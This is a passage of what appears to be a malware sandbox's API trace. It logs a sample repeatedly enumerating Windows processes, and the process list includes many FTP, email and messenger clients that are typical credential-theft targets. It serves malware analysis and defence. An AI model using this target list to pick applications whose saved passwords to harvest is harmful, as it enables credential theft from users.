szExeFile="always.exe")) returned 1 [0132.998] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="body-surface.exe")) returned 1 [0132.999] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="his-such.exe")) returned 1 [0133.001] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="where.exe")) returned 1 [0133.003] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="question necessary.exe")) returned 1 [0133.004] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="onlyfight.exe")) returned 1 [0133.006] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="explainend.exe")) returned 1 [0133.008] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="speak.exe")) returned 1 [0133.009] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="manage agreement step.exe")) returned 1 [0133.011] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="avoid.exe")) returned 1 [0133.013] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="others_set_heavy.exe")) returned 1 [0133.017] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0133.019] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0133.021] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0133.023] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0133.025] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0133.027] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0133.029] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0133.031] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0133.033] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0133.034] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0133.037] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0133.038] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0133.040] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0133.042] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0133.045] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0133.048] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0133.050] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0133.053] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0133.055] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0133.058] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0133.060] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0133.063] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0133.065] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0133.067] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0133.070] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0133.073] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x610, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0133.076] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0133.079] CloseHandle (hObject=0x144) returned 1 [0133.079] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x520) returned 0x144 [0133.094] Process32FirstW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0133.096] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0133.103] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0133.104] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0133.106] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0133.108] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0133.109] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0133.111] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0133.113] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0133.117] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0133.119] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.121] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.123] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.125] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.127] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.129] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.130] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0133.133] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.135] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0133.136] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0133.138] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.140] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x76c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0133.142] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0133.143] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0133.146] CloseHandle (hObject=0x144) returned 1 [0133.146] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x54c) returned 0x144 [0133.163] Process32FirstW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0133.165] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0133.166] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0133.168] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0133.170] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0133.171] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0133.173] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0133.175] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0133.177] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0133.178] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0133.180] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.182] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.184] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.186] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.188] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.189] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.191] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0133.193] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.195] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0133.197] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0133.198] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, 